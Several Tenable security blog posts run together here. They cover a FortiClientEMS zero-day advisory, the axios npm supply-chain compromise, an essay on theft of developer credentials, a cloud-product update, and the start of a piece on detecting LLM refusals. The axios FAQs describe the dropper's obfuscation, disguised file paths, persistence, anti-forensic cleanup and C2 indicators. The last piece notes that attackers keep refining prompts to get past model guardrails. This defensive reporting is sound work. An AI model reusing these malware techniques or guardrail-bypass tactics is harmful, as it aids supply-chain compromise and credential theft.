Tenable Blog

Exploitation has been observed for CVE-2026-35616, a critical improper access control zero-day vulnerability affecting Fortinet FortiClientEMS devices.

Key takeaways:

1. CVE-2026-35616, an improper access control vulnerability, has been exploited in the wild as a zero-day.
    
2. Public exploit code has been identified and Fortinet products have a long history of targeting by malicious actors.
    
3. Hotfixes have been released by Fortinet and should be applied as soon as possible to protect from this threat.

Change log

Update April 6: The blog has been updated to include that CVE-2026-35616 has been added to the CISA KEV.

Click here to review the change history

April 6:The blog has been updated to include that CVE-2026-35616 has been added to the CISA KEV.
 

Background

On April 4, Fortinet published a security advisory (FG-IR-26-099) for CVE-2026-35616, a critical improper access control vulnerability affecting Fortinet FortiClientEMS.

CVEDescriptionCVSSv3CVE-2026-35616Fortinet FortiClientEMS Improper Access Control Vulnerability9.1Analysis

CVE-2026-35616 is a critical improper access control vulnerability affecting Fortinet FortiClientEMS. A remote, unauthenticated attacker can exploit this flaw to execute arbitrary code using specially crafted requests which bypass API authentication.

While no attribution has been provided as of the time this blog was published, the advisory from Fortinet confirms that exploitation has been observed. The advisory credits Simo Kohonen from Defused and Nguyen Duc Anh, who reported the vulnerability to Fortinet. On April 4, Defused released a Linkedin post confirming their observations of zero-day exploitation of this flaw.

At the time this blog was published, Tenable Research has classified this flaw as a Vulnerability of Interest according to our Vulnerability Watch classification system.

Historical Exploitation of Fortinet Devices

Fortinet vulnerabilities have historically been common targets for cyber attackers, with 24 Fortinet CVEs currently on the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) list, with 13 of those being linked to ransomware campaigns. Targeting of Fortinet flaws have been attributed to a number of threat actors, including Salt Typhoon.

Just over a week ago, Defused reported exploitation in the wild for CVE-2026-21643, SQL injection vulnerability affecting FortiClientEMS. Fortinet’s advisory now reflects that exploitation has been observed but as of April 6, the flaw has not yet been added to the KEV.

🚨 Fortinet Forticlient EMS CVE-2026-21643 - currently marked as not exploited on CISA and other Known Exploited Vulnerabilities (KEV) lists - has seen first exploitation already 4 days ago according to our data

Attackers can smuggle SQL statements through the "Site"-header… pic.twitter.com/pHwl2qMVsj

— Defused (@DefusedCyber) March 28, 2026

At the time this blog was published on April 6, CVE-2026-35616 had not been added to the KEV, however shortly after publication, the KEV was updated to include CVE-2026-35616.

As Fortinet devices have been popular targets for attackers, the Tenable Research Special Operations Team (RSO) has authored several blogs about vulnerabilities affecting these devices. The following table outlines some of the most impactful Fortinet vulnerabilities in recent years.

CVEDescriptionPublishedTenable BlogCVE-2025-64155Fortinet FortiSIEM Command Injection VulnerabilityJanuary 2026CVE-2025-64155: Exploit Code Released for Critical Fortinet FortiSIEM Command Injection VulnerabilityCVE-2025-64446Fortinet FortiWeb Path Traversal VulnerabilityNovember 2025CVE-2025-64446: Fortinet FortiWeb Zero-Day Path Traversal Vulnerability Exploited in the WildCVE-2025-25256Fortinet FortiSIEM Command Injection VulnerabilityAugust 2025CVE-2025-25256: Proof of Concept Released for Critical Fortinet FortiSIEM Command Injection VulnerabilityCVE-2025-32756Fortinet FortiVoice, FortiMail, FortiNDR, FortiRecorder and FortiCamera Arbitrary Code Execution VulnerabilityMay 2025CVE-2025-32756: Zero-Day Vulnerability in Multiple Fortinet Products Exploited in the WildCVE-2024-55591Fortinet Authentication Bypass in FortiOS and FortiProxyJanuary 2025CVE-2024-55591: Fortinet Authentication Bypass Zero-Day Vulnerability Exploited in the WildCVE-2024-21762Fortinet FortiOS Out-of-bound Write Vulnerability in sslvpndFebruary 2024CVE-2024-21762: Critical Fortinet FortiOS Out-of-Bound Write SSL VPN VulnerabilityCVE-2023-27997FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityJune 2023CVE-2023-27997: Heap-Based Buffer Overflow in Fortinet FortiOS and FortiProxy SSL-VPN (XORtigate)CVE-2022-42475FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityDecember 2022CVE-2022-42475: Fortinet Patches Zero Day in FortiOS SSL VPNsAA23-250A: Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475CVE-2022-40684FortiOS and FortiProxy Authentication Bypass VulnerabilityOctober 2022CVE-2022-40684: Critical Authentication Bypass in FortiOS and FortiProxyProof of concept

As of April 6, a public proof-of-concept has been identified on GitHub, however Tenable Research has not yet verified the exploit. Given the past exploitation of Fortinet devices and published exploit code for several past vulnerabilities, we anticipate that exploitation will continue to increase as additional exploits are released.

Solution

The following table details the affected and fixed versions of Fortinet FortiClientEMS devices for CVE-2026-35616:

Product VersionAffected RangeFixed VersionFortiClientEMS 7.2Not affectedN/AFortiClientEMS 7.47.4.5 through 7.4.67.4.7 or above

As of April 6, Fortinet has provided a hotfix for FortiClient EMS 7.4.5 and 7.4.6 to address this vulnerability. Version 7.4.7 has not yet been released, but will be an upcoming release that addresses this vulnerability. Until that release, the hotfix must be applied to be protected against this vulnerability. We recommend reviewing the security advisory as Fortinet may make future updates to the document.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2026-35616 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Fortinet devices by using the following subscription:

 Get more information

• Fortinet FG-IR-26-099 Security Advisory

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Recent supply chain attacks have highlighted an urgent need for organizations to shift from a reactive security posture to a preemptive exposure management strategy. Learn why endpoint detection and response tools don’t have you covered when highly privileged developer credentials get exposed.

Key takeaways:

1. Recent supply chain attacks are emblematic of an insidious new trend in cybercrime: Threat actors are increasingly using supply chain attacks to harvest highly privileged developer credentials and create a “Developer Credential Economy,” a lucrative black market for API keys, secrets, and cloud access tokens.
    
2. Relying on execution-layer detection, such as EDR, is insufficient against supply chain threats because these tools lack visibility into the ephemeral CI/CD environments where credential theft and weaponization actually occur.
    
3. Neutralizing the systemic infrastructure risk created by the Developer Credential Economy requires a continuous threat exposure management (CTEM) approach to proactively identify and eliminate exposure conditions, such as long-lived access tokens, before an attacker can exploit them.

Background

The convergence of the Anthropic Claude Code source leak and the Sapphire Sleet (UNC1069) Axios compromise has collapsed the boundary between traditional malware and systemic infrastructure risk. Our analysis of the exposure intelligence data reveals that the cluster of supply chain attacks observed in March 2026 should not be viewed as disparate incidents; rather, they signify the new operational reality of a high-velocity “Developer Credential Economy,” a black market for highly privileged developer credentials.

In this new reality, attackers are no longer just hacking software supply chains; they’re systematically using supply chain attacks to harvest the very keys to the kingdom from the tools security teams trust most.

The myth of the EDR singularity

Microsoft and Google have independently attributed the recent Axios compromise to a North Korean state actor. Industry narratives have framed the compromise, which backdoored an npm-managed JavaScript library package with 100 million weekly downloads, as a victory for endpoint detection and response (EDR). The logic seems simple: EDR caught and stopped the payload at execution, therefore EDR is the solution.

This is a dangerous miscalculation. The concept of an EDR singularity, where Endpoint Detection and Response (EDR) solutions become so comprehensive, intelligent, and autonomous that they negate the need for virtually all other security tools and human intervention at the endpoint is a powerful and seductive myth dominating the current security landscape. This narrative suggests that, through advancements in machine learning, behavioral analytics, and automated response capabilities, a single, all-encompassing EDR platform will eventually unify and solve the bulk of security challenges.

Relying on EDR to stop a supply chain attack is like relying on a smoke detector while storing open canisters of gasoline in your kitchen. Our analysis shows that by the time an EDR agent fires on the WAVESHAPER.V2 RAT, the true damage — the exposure — has already occurred. This demonstrates the urgent need for organizations to shift from a reactive to a preemptive cybersecurity posture.

• EDR is reactive: It monitors execution, not the conditions that allow it. It cannot see the misconfigured GitHub Action or the over-privileged npm token that enabled the compromise in the first place.
• The coverage gap: EDR has zero visibility into the ephemeral CI/CD runners and build environments where these credentials are stolen. In the Developer Credential Economy, the theft happens where the agents aren't.
• The fail-deadly speed: In the Axios campaign, the malware was designed to exfiltrate secrets and self-destruct within seconds; typically faster than an EDR alert can be triaged by a human analyst.
• EDR evasion is not theoretical: EDR evasion is an active, industrialized capability. Threat actors routinely bypass kernel-level EDR through bring your own vulnerable driver (BYOVD) attacks, where adversaries load legitimately signed but vulnerable kernel drivers to disable or blind EDR agents.

Targeting analysis: Mapping the credential generation layer

Adversaries are increasingly compromising and weaponizing critical chokepoint tools used by developers and security teams, like the Axios npm package and the KICS IaC scanner. This trend, which involves moving upstream in the development lifecycle, reveals a distinct division of labor within this emerging threat economy.

 

Actor / GroupOperational focusPrimary targetVertical ImpactTeamPCPGeneration layer: Bulk credential harvesting via tool exploitationTrivy, LiteLLM, KICS (Security/Dev tools)Global SaaS & AI infrastructureSapphire SleetWeaponization layer: State-sponsored exfiltration and revenue generationAxios, npm ecosystemFintech, Crypto, GovernmentGlassWormOpportunistic layer: High-volume automated theftVSCode extensions, OpenVSXBlockchain & Web3

Actors are successfully exploiting exposures, such as long-lived tokens, overprivileged CI/CD runners, and unpinned dependencies, to force organizations into a reactive posture.

Exposure intelligence: The shift to CTEM

To escape this pattern, defenders must shift from merely reacting to malware to adopting continuous threat exposure management (CTEM) as a preemptive strategy.

While AI companies market their frontier models as security tools, the recent leak of 512,000 lines of Claude source code demonstrates that AI is just another asset with its own massive exposure profile.

A mature CTEM program, powered by exposure intelligence, focuses on the preemptive actions that actually reduce risk:

1. Phase 1: Hardening (The Kill Switch): Organizations must audit lockfiles and kill lifecycle hooks (--ignore-scripts) immediately. This eliminates the postinstall vector that Sapphire Sleet used to deploy WAVESHAPER.V2.
2. Phase 2: Human/Identity defense: We must eliminate long-lived tokens. The Axios compromise succeeded because a single stolen token bypassed every security control. Transitioning to short-lived, OIDC-based automation is an exposure management requirement, not a nice-to-have.
3. Phase 3: Counter-recon: Use Tenable One to map your full attack surface, including the CI/CD pipelines and cloud-native build stages that EDR cannot reach.

The bottom line

The Axios and Anthropic events are a wake-up call for the C-suite. Theoretical severity and reactive detection (EDR) are insufficient against an adversary that has industrialized the theft of developer identities.

Exposure management should be your first and primary line of defense. By identifying and remediating the exposure conditions that supply chain attacks depend on, we can stop the payload before it ever reaches the endpoint.

Get more information

• Read the Tenable Research Special Operations Advisory on the Axios npm Compromise
• Accelerate your preemptive security with Tenable’s agentic engine, Hexa AI
• Explore Tenable One for Exposure Management

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

A North Korea-nexus threat actor compromised the widely used axios npm package, delivering a cross-platform remote access trojan to potentially millions of developer environments during a three-hour window on March 31.

Key takeaways:

1. The axios npm package, which has over 100 million weekly downloads, was compromised in a supply chain attack attributed by Google Threat Intelligence Group (GTIG) to UNC1069, a financially motivated North Korea-nexus threat actor.
    
2. Malicious versions 1.14.1 and 0.30.4 were live on the npm registry for approximately three hours and delivered the WAVESHAPER.V2 backdoor to macOS, Windows and Linux systems.
    
3. The malicious versions have been removed from npm, and developers who installed them are advised to treat affected systems as fully compromised, rotate all credentials and rebuild from clean snapshots.
    

Background

Tenable's Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding a supply chain attack against the axios npm package.

FAQ

What happened to the axios npm package?

On March 31, 2026, an attacker published two malicious versions of the axios npm package, versions 1.14.1 and 0.30.4, to the npm registry. The attacker had compromised the maintainer account associated with the package and injected a malicious dependency called "plain-crypto-js" that served as a delivery vehicle for a cross-platform remote access trojan (RAT). The malicious versions were live on the npm registry for approximately three hours before they were identified and removed.

See how recent supply chain attacks are creating a black market for highly privileged developer credentials. 

How popular is the axios npm package?

Axios is one of the most widely used JavaScript libraries, used to simplify HTTP requests. The 1.x branch typically has over 100 million weekly downloads, and the 0.x branch has over 83 million.

How was the axios maintainer account compromised?

According to analysis by StepSecurity and Google Threat Intelligence Group (GTIG), the attacker compromised the npm account belonging to @jasonsaayman and changed the associated email address to an attacker-controlled address ([email protected]).

The attacker used a long-lived classic npm access token to publish the malicious versions, bypassing the GitHub Actions OIDC workflow used for legitimate releases. Legitimate axios releases show a trusted publisher binding to GitHub Actions with a corresponding GitHub commit and tag. The malicious versions lacked this entirely, providing one of the clearest signals that the release was unauthorized.

What is the malicious dependency and how does it work?

The attacker published a purpose-built malicious package called [email protected] to npm approximately 22 minutes before publishing the first malicious axios version. A clean decoy version (4.2.0) was published roughly 18 hours earlier. The only change to the axios package itself was the addition of plain-crypto-js as a dependency in package.json. The package is never imported or referenced in axios source code.

When npm installs the compromised axios version, the plain-crypto-js package's postinstall hook executes an obfuscated JavaScript file called setup.js, which GTIG tracks as SILKBELL. This dropper uses a two-layer encoding scheme combining reversed Base64 and XOR cipher (key: "OrDeR_7077", constant: 333) to conceal its command-and-control (C2) URL and execution commands. It dynamically loads Node.js modules (fs, os, execSync) to evade static analysis.

After deploying the platform-specific payload, the dropper performs anti-forensic cleanup: it deletes itself, deletes the malicious package.json, and renames a clean stub file (package.md) to package.json, leaving a completely clean manifest upon post-infection inspection.

What malware does the attack deliver?

GTIG tracks the platform-specific payloads as WAVESHAPER.V2, an updated version of the WAVESHAPER backdoor previously attributed to UNC1069. WAVESHAPER.V2 variants exist for macOS (native C++ binary), Windows (PowerShell) and Linux (Python).

On macOS, the dropper downloads a Mach-O binary to /Library/Caches/com.apple.act.mond, disguised as an Apple system cache file.

On Windows, it copies the legitimate PowerShell executable to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal) and uses a VBScript launcher to execute a downloaded PowerShell script with hidden execution and policy bypass flags. Windows persistence is achieved through a hidden batch file (%PROGRAMDATA%\system.bat) and a registry run key (HKCU:\Software\Microsoft\Windows\CurrentVersion\Run) named "MicrosoftUpdate."

On Linux, a Python RAT is downloaded to /tmp/ld.py and launched via nohup.

Regardless of platform, WAVESHAPER.V2 beacons to the C2 server every 60 seconds using Base64-encoded JSON and a hardcoded User-Agent string spoofing Internet Explorer 8 on Windows XP. The backdoor supports commands including:

• kill (terminate)
• rundir (filesystem enumeration)
• runscript (execute AppleScript)
• peinject (binary injection).

Who is behind this attack?

GTIG attributed this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since at least 2018. The group has previously been tracked as both CryptoCore and MASAN by ClearSky (2020) and GTIG (2025), respectively. The attribution is based on the use of WAVESHAPER.V2 (a direct evolution of the WAVESHAPER backdoor previously attributed to UNC1069), infrastructure overlaps (connections from a specific AstrillVPN node previously used by UNC1069) and adjacent infrastructure on the same ASN historically linked to UNC1069 operations.

How quickly was the compromise detected?

Socket.dev's automated malware scanner detected the compromise within approximately six minutes of the first malicious version being published. Both malicious axios versions were removed from the npm registry approximately three hours after publication.

Time (UTC)EventMarch 30, 05:[email protected] (clean decoy) publishedMarch 30, 23:[email protected] (malicious) published with postinstall hookMarch 31, 00:05Socket automated scanner detects compromise (~6 min)March 31, 00:[email protected] publishedMarch 31, 01:[email protected] publishedMarch 31, 01:50Elastic Security Labs files GitHub Security Advisory to Axios repoMarch 31, ~03:15npm unpublishes both malicious axios versionsMarch 31, 03:25npm initiates security hold on plain-crypto-jsMarch 31, 04:26Security stub replaces malicious package

How widespread is the potential impact?

With over 100 million weekly downloads across both branches, the blast radius of a three-hour compromise window is significant. StepSecurity reported that its Harden-Runner tool detected anomalous C2 contact in over 12,000 projects. Hundreds of other npm packages depend on axios, amplifying the downstream exposure.

GTIG cautioned that "hundreds of thousands of stolen secrets could potentially be circulating" as a result of this and other recent supply chain attacks, potentially enabling further software supply chain compromises, SaaS environment breaches, ransomware events and cryptocurrency theft.

Are there indicators of compromise (IoCs)?

Yes. GTIG published a comprehensive set of IoCs in their blog post as well as Socket.dev in addition to GTIG’s free GTI Collection for registered users. Types of IoCs available include network indicators (C2 domain and IPs), file hashes (SHA256 for all platform-specific payloads and the dropper), file system artifacts by platform, YARA rules for retrospective hunting and Google Security Operations detection rules.

Key network indicators to block: sfrclak[.]com and 142.11.206.73 (port 8000).

Is this related to other recent supply chain attacks?

This attack is one of several recent open-source supply chain compromises attributed to North Korea-nexus actors. GTIG noted that UNC6780 (also known as TeamPCP) recently poisoned GitHub Actions and PyPI packages associated with projects like Trivy, Checkmarx, and LiteLLM to deploy the SANDCLOCK credential stealer and facilitate follow-on extortion operations. While UNC1069 and UNC6780 are tracked as separate threat actors, the pattern of North Korea-nexus groups targeting open-source package ecosystems represents a broader trend.

What remediation steps are available?

The malicious axios versions (1.14.1 and 0.30.4) have been removed from the npm registry. Developers and organizations that installed either version are advised to:

• Downgrade to safe versions: [email protected] or [email protected]
• Remove the phantom dependency: node_modules/plain-crypto-js/
• Block C2 traffic to sfrclak[.]com and 142.11.206.73
• Treat affected systems as fully compromised: rotate all secrets and credentials, rebuild from clean snapshots
• Audit CI/CD pipelines: ephemeral runners require secret rotation; self-hosted runners are treated as fully compromised
• Search for file artifacts: /Library/Caches/com.apple.act.mond (macOS), %PROGRAMDATA%\wt.exe (Windows), /tmp/ld.py (Linux)

For long-term hardening, package managers now support version cooldown policies that prevent automatic installation of newly published versions:

Package ManagerSettingnpm (v11.10.0+)min-release-age=7d in .npmrcpnpm (v10.16+)minimum-release-age=7dYarn (v4.10+)npmMinimalAgeGate: "7d"Bun (v1.3+)minimumReleaseAge = 604800

Has Tenable released any product coverage?

Yes, Tenable plugins that detect the compromised axios npm package and the malicious plain-crypto-js npm package are available.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Axios libraries by utilizing the filter JavaScript Libraries contains Axios

 

Get more information

• GitHub Advisory: GHSA-fw8c-xr5c-95f9
• Google Threat Intelligence: North Korea-Nexus Threat Actor Compromises Widely Used Axios NPM Package in Supply Chain Attack
• Snyk: Axios npm Package Compromised in Supply Chain Attack
• Socket: Axios npm Package Compromised
• StepSecurity: Axios Compromised on npm

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

The Axios npm package has been compromised in a supply chain attack that uploaded new versions of the package containing malicious code. Any environment that downloaded these compromised Axios versions is at risk of severe data theft, including the loss of credentials and API keys. Scan your environment now. 

Key takeaways

1. This incident is a confirmed supply chain attack. The presence of malicious Axios versions (1.14.1 or 0.30.4) signifies a confirmed security breach rather than a potential risk. Organizations must move beyond “patching” and initiate full incident response playbooks for any host where these packages are detected.
    
2. If affected, organizations must immediately quarantine hosts, apply incident response playbooks, and rotate all exposed secrets. In the last supply chain attacks we observed, attackers were very quick to abuse any exposed secrets, credentials, or API keys, usually abusing them a couple of hours after leakage. This highlights how short the window is for response for defenders.
    
3. Because these attacks will keep happening, passive defense is insufficient. Organizations must implement strict security measures — such as minimum package age policies, pinning dependencies, auditing lockfiles, and actively scanning environments — to protect against the next inevitable supply chain compromise.

Introduction: Axios supply chain compromise 

A critical software supply chain attack compromised “Axios,” a highly popular npm package with over 100 million weekly downloads, commonly used as a promise-based HTTP client for the browser and Node.js. 

Attackers successfully hijacked a maintainer account and embedded a hidden, malicious dependency into two newly published versions of Axios. The attacker injected a malicious package called “plain-crypto-js” into the dependency tree of the Axios package. The package “plain-crypto-js” utilized a postinstall script to execute a remote access trojan (RAT) dropper during the installation process.

Because the embedded malware executes immediately upon installation of this highly popular NPM package, the scope of this breach is potentially massive. Any environment that downloaded these compromised versions of Axios is at risk of severe data theft, including the loss of credentials and API keys.

For additional information on this compromise, see our follow-up blog: Axios npm Supply Chain Attack by North Korea-Nexus Threat Actor UNC1069. 

See how recent supply chain attacks are creating a black market for highly privileged developer credentials.

Frequently asked questions (FAQs) about Axios supply chain attackWhen was the Axios npm package first compromised?

The first malicious versions of Axios were uploaded on March 31, 2026 at 1 AM UTC.

What happened? What did threat actors do? 

Attackers hijacked the npm account of Axios’s lead maintainer and published two malicious versions of the Axios package: version “1.14.1” and version “0.30.4”.

Rather than altering Axios’s source code, they added “[email protected]” as a dependency for the Axios package.

Installing “plain-crypto-js” automatically executes a double-obfuscated Node.js dropper (setup.js) using npm’s postinstall lifecycle hook. “postinstall” hooks can be used to execute code during the installation process. This is a very common technique used by malicious npm packages that we expect to see more and more in the future.

Once deobfuscated, the dropper identified the victim’s host operating system and reached out to the attacker’s command and control (C2) server (sfrclak[.]com:8000) to pull a second-stage payload.

The second stage payload is a RAT tailored to the OS, supporting MacOS, Windows, and Linux.

Has the Axios developer addressed this issue?

All of the malicious versions of Axios have been removed from the public registry. It is now safe to install new versions of Axios.

How can I tell if I’m running malicious versions of Axios? 

To determine if you are affected, scan your environment for the presence of the malicious versions of the affected packages. Look specifically for versions 1.14.1 and 0.30.4 and these other indicators of compromise (IOCs):

NameIOCInfected PackageName: “Axios”
Version: “1.14.1”Infected PackageName: “Axios”
Version: “0.30.4”Infected Package

Name: “plain-crypto-js”

Version : all

SHA256 of Javascript dropper named “setup.js”e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09Attacker C2 Domainsfrclak[.]com

The presence of the vulnerable versions in the filesystem likely means that it was installed using the npm package manager, and therefore, infected the relevant host. 

That’s why you should treat any system where you find malicious versions of Axios as fully compromised and immediately implement relevant incident response and containment playbooks.

If affected, organizations must immediately quarantine hosts, apply incident response playbooks, and rotate all exposed secrets. In the last supply chain attacks we observed, attackers were very quick to abuse any exposed secrets, credentials, or API keys, usually abusing them a couple of hours after leakage. This highlights how short the window is for response for defenders.

Because these attacks will keep happening, passive defense is insufficient. Organizations must implement strict security measures — such as minimum package age policies, pinning dependencies, auditing lockfiles, and actively scanning environments — to protect against the next inevitable supply chain compromise.

How can Tenable help me address the supply chain attack on the Axios npm package? 

Tenable One continuously, automatically, and proactively detects the malicious versions of Axios across both on-premises and cloud environments.

Tenable Nessus and Tenable Cloud Security, both part of the Tenable One Exposure Management platform, continuously monitor for new indicators of compromise (IOCs) and track research associated with this evolving campaign.

A list of Tenable plugins to identify the malicious package will appear here as soon as they're released:

• axios
• plain-crypto-js  

Tenable Cloud Security classifies affected packages as malicious. Detected packages will appear in your Tenable console environment the next time data is synced.

For more information on remediations, see our follow-up blog: Axios npm Supply Chain Attack by North Korea-Nexus Threat Actor UNC1069. 

Conclusion

This security incident affecting the Axios npm package is a critical reminder that massive software supply chain attacks remain a recurring threat. Threat actors continuously exploit the trust in open source ecosystems to get around organizations’ traditional, perimeter-based security controls and deliver malicious software at scale.

Stop the noise and scale your cloud security. Our latest updates introduce custom policy automation via Explorer, AWS ABAC support for true least privilege, and research-backed protection against critical vulnerabilities, all designed to slash MTTR without disrupting your DevOps workflows.

Key takeaways

1. Automated governance via Explorer: Harness the power of Tenable’s unified data model, transforming any query into a permanent security policy or a scheduled report across all entities, such as resources, findings and vulnerabilities, with custom interval scheduling.
    
2. Research-driven intelligence: New insights from Tenable Research feature the discovery of novel critical vulnerabilities in Google Looker Studio and Google Looker, and a deep-dive into a recently identified malicious third-party npm package.
    
3. True least privilege via ABAC: Support for AWS ABAC ensures precision in permission evaluations — a critical requirement for securing the 18% of organizations with overprivileged IAM roles that AWS AI services can instantly assume.
    
4. Streamlined vulnerability patching: Tenable's unique plugin name and ID information is now integrated into vulnerability and workload profiles, eliminating manual research for DevOps teams.

Cloud security often generates more “noise" than insight. The goal for the security team is to close the gap between discovery of vulnerabilities/misconfigurations and their actual remediation — all without disrupting DevOps workflows.

The latest updates to Tenable Cloud Security are focused on that exact mission: providing the precision needed to silence the noise and the automation required to scale – and quickly. From flexible custom policies and query-based reporting to granular IAM visibility, we’re making it easier to manage your cloud security posture across complex, multi-cloud environments. 

Using Tenable advances your maturity by shifting the focus from managing individual findings to understanding functional resilience. 

Governance and automation: The power of our Explorer

We have enhanced the recently introduced Explorer capability to allow you to turn multi-cloud risk analysis insights into automated governance and scheduled intelligence.

Custom policy creation from queries

Use the Explorer query builder to create custom policies, baking your internal business logic directly into the platform. If you can query it, you can police it—for example, tracking publicly exposed EC2 instances with a "Sensitive" tag. You can set findings at your preferred severity level, ensuring your dashboard reflects your organization's actual risk priorities. Additionally, you can now add free-text remediation instructions to any policy to align with your organization’s specific practices.

Bottom line: Effortlessly transform ad-hoc searches into permanent, automated security monitoring that triggers exactly when and how you need it.
 

Transform queries into standing custom policies in one click using the Explorer query builder and customize the remediation steps for improved governance

Automated reports from queries

Explorer, based on our unified data model, generates reports based on queries of all entities, including cloud resources, finding types, and vulnerability instances. You can use a redesigned, full-screen reporting experience with live data previews and local time zone support. New custom-interval scheduling gives you total control, such as scheduling a report for every Monday and Wednesday at 9:00 AM.

Bottom line: Provides a consistent, automated pulse on your cloud security posture, delivering tailored insights to stakeholders on a regular cadence via our report delivery method.
 

Generate reports based on detailed Explorer queries, and schedule them for delivery at customized intervals

Research spotlight: Protection against emerging cloud threats

A cloud security platform is only as good as its intelligence. Tenable Research continues to lead the industry in identifying critical cloud service and supply chain vulnerabilities.

Uncovering vulnerabilities in Google Looker Studio and Google Looker

Our researchers recently discovered and responsibly disclosed significant novel vulnerabilities in both Google Looker Studio and Google Looker. The “LeakerLooker” discovery identified nine cross-tenant vulnerabilities that could have let attackers exfiltrate or modify data across Google services. The “LookOut” discovery identified remote code execution (RCE) and unauthorized internal access risks that could have allowed an attacker to completely compromise a Looker instance. These discoveries reflect how, working behind the scenes, Tenable offers proactive protection to help secure an organization’s broader cloud ecosystem.

Neutralizing supply chain attacks

The threat often enters through the code itself. Tenable Research recently provided a deep-dive analysis of "ambar-src," a malicious npm package designed to mimic popular legitimate libraries to infect developer systems. This is critical as research shows 86% of organizations host third-party code packages with critical-severity vulnerabilities.

Bottom line: When you use Tenable Cloud Security, you are backed by the same elite research team that discovered these Looker and npm threats, ensuring protection against modern, sophisticated attack vectors.

Workload protection (CWPP): Slashing mean-time-to-remediation

The gap between security and DevOps is often manual research. When security tools lack clear fixes, remediation stalls, and the risk window stays open. In fact, we recently found that 82% of organizations run cloud workloads with known, exploited, critical CVEs – leaving environments highly vulnerable to automated exploitation – a growing threat in this AI era.

Remediation patches and Tenable plugin IDs

To bridge this divide we integrated Tenable plugin IDs directly into vulnerability tables and workload profiles – that is, the remediation workflow. With vulnerabilities now mapped to specific plugin names and IDs, teams can instantly identify the exact software versions required to resolve security gaps across VMs and container images. Integrated metadata, including Vulnerability Priority Ratings (VPR) and discovery timestamps, allows teams to move past "severity" and focus on the actual risk impact to the business. DevOps get the exact patch name they need, removing manual research and "back-and-forth" communication between security and engineering.

Bottom line: Greatly reduces mean-time-to-remediation (MTTR) by providing actionable data at the point of discovery, aligning security goals with developer velocity.

Cloud identity and entitlement management (CIEM): Achieving least privilege with permissions granularity

Identity is the new perimeter, but managing it at scale is difficult. Indeed our recent risk report found this is becoming increasingly critical for AI-related identities, with 18% of organizations having overprivileged IAM roles that AWS AI services can instantly assume.

AWS ABAC support and granular visibility

We’ve upgraded permission evaluations to support AWS attribute-based access control (ABAC) and added a dedicated access level section to resource profiles. This replaces generic summaries with a detailed breakdown of permission categories, providing a highly accurate view of your identity landscape.

Bottom line: Achieve true least privilege by accounting for attribute-based access, ensuring your permission recommendations are as precise as your AWS environment.

Strategic operations: Scale and precisionData security: Precision classification

Enhance data discovery by using Regex to exclude known or irrelevant values. This ensures data security findings focus on the specific sensitive information while filtering out irrelevant data matches.

Bottom line: Ensures your team only spends time on genuine data exposure risks, increasing operational efficiency.

GraphQL API and centralized exclusions

Manage high-volume environments programmatically with new GraphQL API support for Projects, allowing you to create or modify role assignments directly within your DevOps workflows. Our new centralized exclusions framework allows you to define business scenarios to ignore non-actionable findings using flexible tags, creating a single, auditable source of truth for all exceptions.

Bottom line: Streamlines security governance for large-scale environments by automating project management and centralizing risk handling.

Frequently Asked Questions

Q: How do custom policies differ from the built-in policies in Tenable Cloud Security? 

A: While built-in policies cover industry standards, custom policies allow you to use the Explorer query builder to create rules specific to your environment and assign the severity levels that reflect your organization’s risk appetite.

Q: Why is the support for AWS ABAC a significant update for identity security? 

A: Most tools evaluate only static IAM policies, but modern permissions are often granted based on attributes (tags). We support AWS ABAC to provide the precision needed for true least privilege without disrupting developer workflows.

Q: Why is using the Tenable One Exposure Management Platform important for my cloud strategy?

A: It shifts the focus from "finding bugs" to "managing risk" in full context across your hybrid environment. Tenable One’s cloud security capabilities integrate vulnerabilities, identities, network, and data into a single view, allowing you to see how an attacker could move through your environment.

Learn more:

• Tenable Cloud and AI Security Risk Report
• Tenable Cloud Security
• What to Fix First demo

Tenable One's new Model Refusal Detection turns an LLM's refusal to execute a risky or suspicious prompt into a high-fidelity early warning signal. It helps you uncover and stop prompt injection attacks, insider threats, and other risky user behaviors before they escalate into a breach. 

Key takeaways:

1. AI has shifted traditional cyber detection methods away from security data analysis and toward human language analysis. This shift makes AI adversarial attempts harder to detect and increases data privacy risks.
    
2. An LLM’s “model refusal” response could be a high-fidelity warning of an active attack. While LLM responses vary, a single refusal often provides a roadmap for attackers to refine their prompts until they succeed.
    
3. The new Model Refusal Detection from Tenable One AI Exposure adds a “defense-in-depth” layer, turning model responses into an early-warning system to neutralize adversarial behavior before a successful bypass occurs.
    

An AI model’s refusal to respond to a user’s prompt doesn’t stop an attacker. It encourages the malicious actor to try again to bypass your guardrails. That’s why we’re announcing Tenable AI Exposure’s Model Refusal Detection, available now. By using these refusals as potential attack indicators in a sophisticated, AI-based detection engine, we can catch the malicious intent before the breach.

Read on to learn why it matters and how you can secure your AI systems today.

What is model refusal? 

AI has broken the traditional security playbook. The attack surface is changing daily, turning yesterday’s nuances into today’s critical exploits. Unlike traditional cybersecurity, AI security hinges on language and text inputs rather than on the analysis of a collection of data points. 

Despite this inherent complexity, every enterprise’s goal is the same: not to miss any adversarial attempt.

AI vendors such as OpenAI, Anthropic, and Google have implemented safety guardrails to address foundational AI safety. These guardrails are designed to refuse user requests that pose a risk or might be harmful. This mechanism is known as model refusal.

Example of a user trying to access sensitive information by asking ChatGPT a series of questions.

